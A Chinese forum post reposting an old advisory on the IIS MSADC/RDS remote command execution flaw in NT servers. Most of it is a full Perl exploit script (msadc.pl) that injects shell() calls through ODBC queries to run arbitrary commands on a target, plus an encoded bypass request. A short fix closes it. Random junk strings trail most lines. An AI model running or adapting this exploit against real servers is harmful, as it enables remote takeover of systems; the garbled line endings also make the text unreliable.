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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) <Du*Re6g  
`bm-ONK  
涉及程序: $DVy$)a!u  
Microsoft NT server D9Z5g3s7R  
_&M>f?l  
描述: `+6HHtF  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 A gPg0(G  
V+8+ 17^  
详细: w;_Ds  
如果你没有时间读详细内容的话,就删除: WS(c0c  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &zT~3 >2  
有关的安全问题就没有了。 h;lnc| Hw  
@X#m]ou  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _PaO w%Y9  
=Dz[|$dV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]+l r  
关于利用ODBC远程漏洞的描述,请参看: LiRY -;8=  
5Q88OxH  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm MnQ_]c C  
i!iODt3k  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 v!uLd.(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp BE2{qO{  
N3?d?+A$  
这里不再论述。 vfm-K;,#  
G9i#_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:  l gC  
|( V3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -bE|FFU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >"[u.1J_'I  
YU`{  
YszhoHYh  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 26**tB<  
&td#m"wI  
#!perl EAfSbK3z  
# u|ZO"t  
# MSADC/RDS 'usage' (aka exploit) script 3LmHH =  
# _H,RcpyJ  
# by rain.forest.puppy 6i4j(P  
# V;V9_qP,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \5Jv;gc\\  
# beta test and find errors! p .HA `R>  
+D@R'$N  
use Socket; use Getopt::Std; ?,NAihN]  
getopts("e:vd:h:XR", \%args); oW_WW$+N  
(nzt}i0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V6k9L*VP  
`et<Z  
if (!defined $args{h} && !defined $args{R}) { *v9G#[gG  
print qq~ [>0r'-kI  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +M*a.ra0OF  
-h <host> = host you want to scan (ip or domain) 8M|Q^VeT,1  
-d <seconds> = delay between calls, default 1 second ,aJrN!fzU  
-X = dump Index Server path table, if available vEsSqzc  
-v = verbose 2R!W5gs1<  
-e = external dictionary file for step 5 }FXRp=s  
3XRG"  
Or a -R will resume a command session D6t]E)FH  
RBXoU'.  
~; exit;} !=we7vK}  
lySaJ d  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; KkY22_{ac  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} iH>djGhTh  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} mm8O  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); { SfU!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `g=~u{ 0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } *pMA V [^  
#5D+XBT  
if (!defined $args{R}){ $ret = &has_msadc; DkIF vsLK  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9E^p i LA  
Ba6xkEd  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" f"Iyo:Wt  
. "cmd /c "; 2?j1~]DvZ  
$in=<STDIN>; chomp $in; ,3j7Y5v  
$command="cmd /c " . $in ; BP6Shc|C  
wOOPWwk  
if (defined $args{R}) {&load; exit;} >UMnItq(l  
}#J}8.  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; F'I6aE%  
&try_btcustmr; kQ8WO|bA  
DFonK{  
print "\nStep 2: Trying to make our own DSN..."; Z ux2VepT  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2"O Y]d  
[7V]=] p  
print "\nStep 3: Trying known DSNs..."; AqkK`iJ#  
&known_dsn; oB9m\o7$  
0=B5 =qyw  
print "\nStep 4: Trying known .mdbs..."; gISs+g  
&known_mdb; ${wE5^ky  
MeX1y]<It  
if (defined $args{e}){ B pT&vbY  
print "\nStep 5: Trying dictionary of DSN names..."; BXY'%8q _a  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \Hd B   
F!{SeH:  
print "Sorry Charley...maybe next time?\n"; R.N*G]K5  
exit; c &HoS  
qE}YVKV*  
############################################################################## LnGSYrx1  
7W"menw  
sub sendraw { # ripped and modded from whisker w3>|mDA}I  
sleep($delay); # it's a DoS on the server! At least on mine... _u$K Lqt/,  
my ($pstr)=@_; ]Ho`*$dD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }3 }=tN5  
die("Socket problems\n"); ([~`{,sv  
if(connect(S,pack "SnA4x8",2,80,$target)){ c29Z1Zs2)  
select(S); $|=1; 1tdCzbEn+  
print $pstr; my @in=<S>; 27:x5g?  
select(STDOUT); close(S); CvJEY  
return @in; $ *A3p  
} else { die("Can't connect...\n"); }} >gJWp@6V  
Z&,}Fgl!F  
############################################################################## 3;:V1_JA  
^q\zC%.  
sub make_header { # make the HTTP request LS'=>s"  
my $msadc=<<EOT 0 ,-b %X  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7p6J   
User-Agent: ACTIVEDATA JuSS5_&  
Host: $ip vuBA&j0C  
Content-Length: $clen *\",  qMp  
Connection: Keep-Alive #cS,5(BM  
@XC97kGWp  
ADCClientVersion:01.06 |T*qAJ8c  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R:N-y."La.  
+ctv]'P_  
--!ADM!ROX!YOUR!WORLD! K5&C}Ey1  
Content-Type: application/x-varg LnS >3$t*  
Content-Length: $reqlen MFuI&u!g:  
+`-a*U94  
EOT /MH@>C _  
; $msadc=~s/\n/\r\n/g; Z"X*FzFo  
return $msadc;} 8 -A7  
VsEAo  
############################################################################## JxJntsn  
+_P 2S  
sub make_req { # make the RDS request :g#it@  
my ($switch, $p1, $p2)=@_; Z;D3lbqE  
my $req=""; my $t1, $t2, $query, $dsn; S8m&Rj3O&  
PDng!IQ^  
if ($switch==1){ # this is the btcustmr.mdb query C&kl*nO  
$query="Select * from Customers where City=" . make_shell(); y>|XpImZ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *(B[J  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <t% A)L%  
VY@hhr1s~  
elsif ($switch==2){ # this is general make table query g/p9"eBpq  
$query="create table AZZ (B int, C varchar(10))"; 9'g{<(R]  
$dsn="$p1";} 2j1v.%  
\[1CDz=}1  
elsif ($switch==3){ # this is general exploit table query r:4IKuTR  
$query="select * from AZZ where C=" . make_shell(); E2'e}RQ  
$dsn="$p1";} ZGhoV#T@  
%+ a@|Z   
elsif ($switch==4){ # attempt to hork file info from index server WG}CPkj  
$query="select path from scope()"; K-C-+RB  
$dsn="Provider=MSIDXS;";} 389.&`Q%Ut  
a] =\h'S  
elsif ($switch==5){ # bad query L]N2r MM  
$query="select"; 92VX5?Cyg  
$dsn="$p1";} `e>F<{ M6@  
x=Jn&4q  
$t1= make_unicode($query); 6xh#;+e }  
$t2= make_unicode($dsn); _PUm Pom.  
$req = "\x02\x00\x03\x00"; Gj`Y2X2r  
$req.= "\x08\x00" . pack ("S1", length($t1)); cE5Zxcn  
$req.= "\x00\x00" . $t1 ; ?^ezEpW  
$req.= "\x08\x00" . pack ("S1", length($t2)); h./vTNMc  
$req.= "\x00\x00" . $t2 ; )=nPM`Jn.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !r obau7  
return $req;} /(ju  
+WN>9V0H  
############################################################################## '. Hp*9R  
cjC6\.+l3  
sub make_shell { # this makes the shell() statement oV>AFs6  
return "'|shell(\"$command\")|'";} zy6(S_j  
a<jE 25t  
############################################################################## |#:dC #  
I7z/GA\x  
sub make_unicode { # quick little function to convert to unicode J?quYlS  
my ($in)=@_; my $out; cN}A rv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } jI`To%^ Y  
return $out;} Kx 185Q'W  
0nq}SH  
############################################################################## *M<BPxh0w]  
Dh(T) yc  
sub rdo_success { # checks for RDO return success (this is kludge) !riMIl1  
my (@in) = @_; my $base=content_start(@in); f\_!N "HW  
if($in[$base]=~/multipart\/mixed/){ [j]J_S9jJ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ec4%Wk2  
return 0;} ]!G>8Rc  
<`j[;>O  
############################################################################## 2vdQ&H4  
_% 9+U [@  
sub make_dsn { # this makes a DSN for us )  v5n "W  
my @drives=("c","d","e","f"); 7h9[-d6  
print "\nMaking DSN: "; 4O_+4yS  
foreach $drive (@drives) { 3r:)\E+Q_  
print "$drive: "; fwv T2G4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . <&s)k  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" w[7.@%^[  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Xe3z6  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `}8@[iB'  
return 0 if $2 eq "404"; # not found/doesn't exist Q=L$7   
if($2 eq "200") { maUHjI 5A-  
foreach $line (@results) { }42qMOi#w1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} #C;zS9(]B  
} return 0;} ]n]uN~)9  
dFP-(dX#  
############################################################################## |k .M+  
@W\4UX3dK  
sub verify_exists { ddq 1NW  
my ($page)=@_; 1;:t~Y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @23R joK  
return $results[0];} P[I*%  
d?&!y]RS#  
############################################################################## =#Cf5s6qt  
h3]@M$Y[  
sub try_btcustmr { Q@W|GOH3  
my @drives=("c","d","e","f"); %f_OP$;fc  
my @dirs=("winnt","winnt35","winnt351","win","windows"); UG"6RW @  
"ex~ LB  
foreach $dir (@dirs) { :7Z\3_D/  
print "$dir -> "; # fun status so you can see progress R(? <97  
foreach $drive (@drives) { [mf7>M`p]@  
print "$drive: "; # ditto  J"Y   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; iPY vePQ  
$reqlenlen=length( "$reqlen" ); <m /b]|  
$clen= 206 + $reqlenlen + $reqlen; yg-FJ/  
MpIw^a3(r  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); HEB/\  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} mB^I @oZ*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %V<F<  
WW [`E  
############################################################################## @>#{WI:"~  
e8ULf~I  
sub odbc_error { L>~@9a\jO  
my (@in)=@_; my $base; 4&oXy,8LC  
my $base = content_start(@in); ,+ \4 '`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *0&4mi8  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b y|?g8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9 yW ~79n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p17|ld`  
return $in[$base+4].$in[$base+5].$in[$base+6];} %%+mWz a  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; IglJEH[+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H#|Z8^ *Ds  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} A eGG  
Ck3QrfM  
############################################################################## o[6vxTH  
Q@e*$<3  
sub verbose { /nY).lSH  
my ($in)=@_; e>,9]{N+$  
return if !$verbose; 9QOr,~~s  
print STDOUT "\n$in\n";} h8#5vO2  
dE5 5  
############################################################################## ~~xyFT+{F  
4C,kA+P  
sub save { QxL@'n#5   
my ($p1, $p2, $p3, $p4)=@_; J)$&z*!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; S)\JWXi~:J  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; @[5_C?2  
close OUT;} Mm5U`mB  
'Vm5Cs$  
############################################################################## z)&naw.  
4/HY[FT  
sub load { D%;wVnU w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; % UW=:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @~$F;M=.*  
@p=<IN>; close(IN); 1!>bhH}{D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -}_cO|kk  
$target= inet_aton($ip) || die("inet_aton problems"); 'NT#(m%  
print "Resuming to $ip ..."; @)OnIQN~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~@-QbkC  
if($p[1]==1) { h9<mThvgn  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; nszpG1U:  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; UzU-eyA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); q,;".3VQ  
if (rdo_success(@results)){print "Success!\n";} 5:*5j@/S  
else { print "failed\n"; verbose(odbc_error(@results));}} :cXIO  
elsif ($p[1]==3){ Avs7(-L+s  
if(run_query("$p[3]")){ [}A_uOGEP  
print "Success!\n";} else { print "failed\n"; }} P1)* q0  
elsif ($p[1]==4){ x1m8~F  
if(run_query($drvst . "$p[3]")){ u}-d7-=  
print "Success!\n"; } else { print "failed\n"; }} FylWbQU9  
exit;} hF7V !*5  
C3 gZ6m  
############################################################################## B@cJ\  
i O%Zd[  
sub create_table { G *mO&:q  
my ($in)=@_; _&; ZmNNhc  
$reqlen=length( make_req(2,$in,"") ) - 28; b?Cmc  
$reqlenlen=length( "$reqlen" ); 2!{_/@I\Y  
$clen= 206 + $reqlenlen + $reqlen; 'GV&]   
my @results=sendraw(make_header() . make_req(2,$in,"")); ER~T'-YMS  
return 1 if rdo_success(@results); \#\`!L[1  
my $temp= odbc_error(@results); verbose($temp); F* 3G _V  
return 1 if $temp=~/Table 'AZZ' already exists/; TnN^2:cU  
return 0;} E1c>nrnh*  
9,S,NvSq  
############################################################################## pG,<_N@P  
Q7CwQi  
sub known_dsn { `"xk,fVYd  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go tXf}jU}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Wk/fB0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ELN|;^-/|Q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2UU 2Vm_6  
*C4~}4WT\  
foreach $dSn (@dsns) { W$z#ssr  
print "."; I$aXnd6)  
next if (!is_access("DSN=$dSn")); Ff[H>Lp~  
if(create_table("DSN=$dSn")){ /;(<fh<bY  
print "$dSn successful\n"; * T JBPM,  
if(run_query("DSN=$dSn")){ {[Uti^)m%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %:" RzHN  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Jq# [uX  
8_"3Yb`f  
############################################################################## 'is,^q:@  
J*}VV9H  
sub is_access { i'Y-V]->  
my ($in)=@_; <8iYL`3  
$reqlen=length( make_req(5,$in,"") ) - 28; g/OI|1a  
$reqlenlen=length( "$reqlen" ); NlA*\vco  
$clen= 206 + $reqlenlen + $reqlen; Z -pyFK\  
my @results=sendraw(make_header() . make_req(5,$in,"")); Qe2m8  
my $temp= odbc_error(@results); tegOT]|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); c*.G]nRc  
return 0;} D",A$(lG  
5>'?:jY  
############################################################################## fkW3~b  
,"@w>WL<9  
sub run_query { |*%/ovg+  
my ($in)=@_; MP jr_yc]  
$reqlen=length( make_req(3,$in,"") ) - 28; "(0oP9lZ  
$reqlenlen=length( "$reqlen" ); ])N|[|$  
$clen= 206 + $reqlenlen + $reqlen; !IO&&\5  
my @results=sendraw(make_header() . make_req(3,$in,"")); 0FG5_t"",\  
return 1 if rdo_success(@results); p9/bzT34.  
my $temp= odbc_error(@results); verbose($temp); BD hLz  
return 0;} HMF8;,<_w?  
M_tj7Q3 W  
############################################################################## vAi"$e  
vz6SCGg,  
sub known_mdb { JR/W9i  
my @drives=("c","d","e","f","g"); ktN%!Mh\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); kclp}  
my $dir, $drive, $mdb; XlRw Z/Wc  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; W7%p^;ZQ$  
zs4>/9O  
# this is sparse, because I don't know of many P`}$-#DF  
my @sysmdbs=( "\\catroot\\icatalog.mdb", u06tDJ[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", xy2\'kS`G  
"\\system32\\certmdb.mdb", {V.Wk  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Z/xV\Ggx  
MO[c0n%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /^d. &@*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", AeN 3<|RN  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W5pn;u- sz  
"\\cfusion\\cfapps\\security\\realm_.mdb", *:?QB8YJ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", *f{7  
"\\cfusion\\database\\cfexamples.mdb", g+igxC}2z  
"\\cfusion\\database\\cfsnippets.mdb", I9;xzES  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", VxNXd?  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", uH $oGY  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]GcV0&|  
"\\cfusion\\database\\smpolicy.mdb", kl| g  
"\\cfusion\\database\cypress.mdb", ]n~yp5Nbr  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", eUYZxe :6  
"\\website\\cgi-win\\dbsample.mdb", P=2wkzeJj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", w(/7Jt$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" sD{ j@WEZ  
); #these are just Y^4q9?2G  
foreach $drive (@drives) { 0%/,>IR>r  
foreach $dir (@dirs){ %z30=?VL  
foreach $mdb (@sysmdbs) { P%iP:16  
print "."; :*=Ns[Y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iM8sX B  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^#2xQ5h  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Umij!=GPG^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `4_c0 q)N4  
} else { print "Something's borked. Use verbose next time\n"; }}}}} B\f"Iirw  
g- XKP  
foreach $drive (@drives) { N5yJ'i~,M  
foreach $mdb (@mdbs) { >A<Df  
print "."; *E.LP1xP  
if(create_table($drv . $drive . $dir . $mdb)){ ]Z=Ij gr$  
print "\n" . $drive . $dir . $mdb . " successful\n"; (/-lV&eR  
if(run_query($drv . $drive . $dir . $mdb)){ v3 -5"q!Sq  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &i)helXs]  
} else { print "Something's borked. Use verbose next time\n"; }}}} -=5EbNPwG  
} lbd(j{h>4  
F9%,MSt  
############################################################################## : g 5(HH  
N=q#y@L  
sub hork_idx { <o2,HTWNPS  
print "\nAttempting to dump Index Server tables...\n"; ti}f&w ICJ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [M`=HhJ4  
$reqlen=length( make_req(4,"","") ) - 28; d<!IGt4Ky  
$reqlenlen=length( "$reqlen" ); sp^Wo7&g  
$clen= 206 + $reqlenlen + $reqlen; -ovoRI^6`}  
my @results=sendraw2(make_header() . make_req(4,"","")); <Kg2$lu(_`  
if (rdo_success(@results)){ |88CBiu}  
my $max=@results; my $c; my %d; GKCM|Y  
for($c=19; $c<$max; $c++){ Oc#>QZ3  
$results[$c]=~s/\x00//g; Z4#v~!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; zOL;"/R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; wE?CvL  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ~JLYhA^'+<  
$d{"$1$2"}="";} #,TELzUVE  
foreach $c (keys %d){ print "$c\n"; } -;vT<G3  
} else {print "Index server doesn't seem to be installed.\n"; }} /p,{?~0mj  
,%kmXh  
############################################################################## 0t+])>  
se#@)LtZ  
sub dsn_dict { P<vo;96JT  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >otJF3zw   
while(<IN>){ ?.Q3 pUT  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )(lJT&e  
next if (!is_access("DSN=$dSn")); f}2;N  
if(create_table("DSN=$dSn")){ Je 31".  
print "$dSn successful\n"; Od-Ax+Hp  
if(run_query("DSN=$dSn")){ W tVf wC_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { fgmSgG"b  
print "Something's borked. Use verbose next time\n";}}} Dm^l?Z  
print "\n"; close(IN);} &sdx`,  
_KN: o10U  
############################################################################## Ev{MCu1!6  
] opto  
sub sendraw2 { # ripped and modded from whisker jQ|:I7y  
sleep($delay); # it's a DoS on the server! At least on mine... e?P%wqB  
my ($pstr)=@_; }3J=DCtS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eIJ[0c b}  
die("Socket problems\n"); |kc@L`7s  
if(connect(S,pack "SnA4x8",2,80,$target)){ N}DL(-SQ3  
print "Connected. Getting data"; ' Rc#^U*n  
open(OUT,">raw.out"); my @in; Z%OW5]q  
select(S); $|=1; print $pstr; b)`pZiQP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >Mw'eQ0(y  
close(OUT); select(STDOUT); close(S); return @in; !VRo*[yD@  
} else { die("Can't connect...\n"); }} M$H`^Pv  
cJ2PI  
############################################################################## n[P\*S  
0<Q*7aY  
sub content_start { # this will take in the server headers o,*=$/or  
my (@in)=@_; my $c; x6v,lR  
for ($c=1;$c<500;$c++) { p?kvW42/  
if($in[$c] =~/^\x0d\x0a/){ ^KbL ,T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } xCq'[9oU  
else { return $c+1; }}} tDt :^Bc  
return -1;} # it should never get here actually <h@]Ri  
^Q\XGl  
############################################################################## s4bv;W  
5z Kqb  
sub funky { ]Jn2Ra"j  
my (@in)=@_; my $error=odbc_error(@in); JD*8@N  
if($error=~/ADO could not find the specified provider/){ N 2Ssf$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 'fn$'CeM(  
exit;} WqQU@sA  
if($error=~/A Handler is required/){ (v^Z BM_  
print "\nServer has custom handler filters (they most likely are patched)\n"; "mA1H]r3  
exit;} +>}o;`hPe  
if($error=~/specified Handler has denied Access/){ R$d7\nBG  
print "\nServer has custom handler filters (they most likely are patched)\n"; P#;Th8k{K2  
exit;}} kC`Rd:5  
({ k7#1 h8  
############################################################################## jkt 6/H  
(A4&k{C_  
sub has_msadc { e2wvc/gG6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); =?/&u<  
my $base=content_start(@results); ISBF\ wQY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); (:7a&2/M  
return 0;} ]]PE#DDg  
RG1\=J$:E  
######################## X!c?CL  
w.^yP7:  
+?AW>&68y  
解决方案: ,H{={aln  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d}+W"j;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 MI*Sq\-i  
x0<^<D&Q  
拿出来充数 哈哈
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